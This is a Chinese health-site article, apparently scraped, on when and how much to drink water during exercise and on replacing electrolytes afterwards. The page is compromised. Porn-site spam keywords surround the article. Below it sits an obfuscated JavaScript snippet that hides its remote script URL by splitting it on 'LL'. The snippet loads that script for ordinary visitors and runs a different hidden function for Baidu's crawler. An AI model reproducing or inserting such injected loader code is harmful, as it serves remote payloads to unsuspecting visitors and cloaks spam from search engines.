久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

運動中到底能喝水嗎?

2017-04-14 20:40:35  來源:360常識網   熱度:
導語:運動中盡量少補充水分,但在運動后要盡量多補充水分。水分從食道進入腸胃道是需要一定的時間的,我們不能一次喝下太多的水,因為那樣會使水

運動中盡量少補充水分,但在運動后要盡量多補充水分。水分從食道進入腸胃道是需要一定的時間的,我們不能一次喝下太多的水,因為那樣會使水分聚集在腸胃里,反而達不到我們要補充水分的目的。那我們應該在什么時候補充水分呢?小編搜羅了一些在運動中補水的注意事項,接下來就讓我們看一看吧。

補充水分應該分為前、中、后三階段,運動前補充500cc左右的水,運動中每10~15分鐘間斷補充100cc~150cc的水,運動后盡量補充。由于水分從攝取,到進入腸胃到進入腸胃道,接著被人體吸收,需要一段為時20~30分鐘的時間,因此一次喝下大量的水,反而會使的飲用的水集中在胃里,而不能真正達到補充水分的目的。

至于運動前一次喝下大量的水,可能導致“胃下垂”的說法,則可能憂慮過度了;在運動前補充超過負荷量的水,的確有可能因此產生飽漲感進而影響運動的表現,不過倒不至于產生胃下垂。

運動飲料真的適合運動飲用嗎

當健身成為越來越多人的習慣,運動飲料的品牌、標榜功能也就愈發另人眼花撩亂,不過,運動飲料真的比開水更適合運動者嗎?運動后補充水分的重點,除了攝取的水量之外,還包括身體保留水量的能力。

因為運動后會使人體流失如納、鉀之類的電解質,使得人體處于不平衡的狀態之下,這時候飲用補充的水分,常常會直接排出體外,而不能被良好的保存在身體里,供身體運用。由于電解質流失,使得人體的壓力不平衡,這時候除了需要補充水分,更需要補充適當的電解質,以幫助人體體內的壓力回復到平衡的狀態,使攝取的水分被保留在體中供人體運用。

看完了小編對運動中喝水注意事項的介紹,想必大家也懂得了如何在運動中補水了吧。人們在運動過后都會感覺身體不平衡,不僅要補充水分,而且要補充適當的電解質,才有助于我們的身體恢復平衡。同時我們在運動過后還要注意補充能量。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 二区视频 | 污网站在线免费 | 综合在线一区 | 欧美日韩精品免费观看视频 | 亚洲精品视频在线观看免费视频 | 嫩草影院在线观看91麻豆 | 亚洲黄色免费在线看 | 91精品国产综合久久久久久丝袜 | 欧美精品一区二区三区在线 | 亚洲高清视频一区二区 | 中文字幕avav | 成人在线免费 | 中文字幕一区二区三区四区不卡 | 一级毛片电影院 | 五月婷婷激情 | 男女羞羞视频网站18 | 91丨九色丨国产 | 中文字幕天堂 | 久久精品亚洲精品 | 国产免费又色又爽粗视频 | 国产一区在线不卡 | 中文字幕亚洲在线观看 | 国产小视频在线免费观看 | 超碰在线影院 | 国产一区久久久 | 欧洲一级大片 | 成人看的免费视频 | 在线有码 | 一区二区日韩精品 | 日本黄色电影网站 | 国产探花在线看 | 亚洲自拍一区在线观看 | 久久久精品免费视频 | 精品一区二区久久久久久久网站 | 精品一区二区6 | 国产伦精品一区二区三区照片91 | 韩国精品主播一区二区在线观看 | 国产精品污www在线观看 | 91社区在线观看高清 | 亚洲免费片 | 国产成人精品大尺度在线观看 |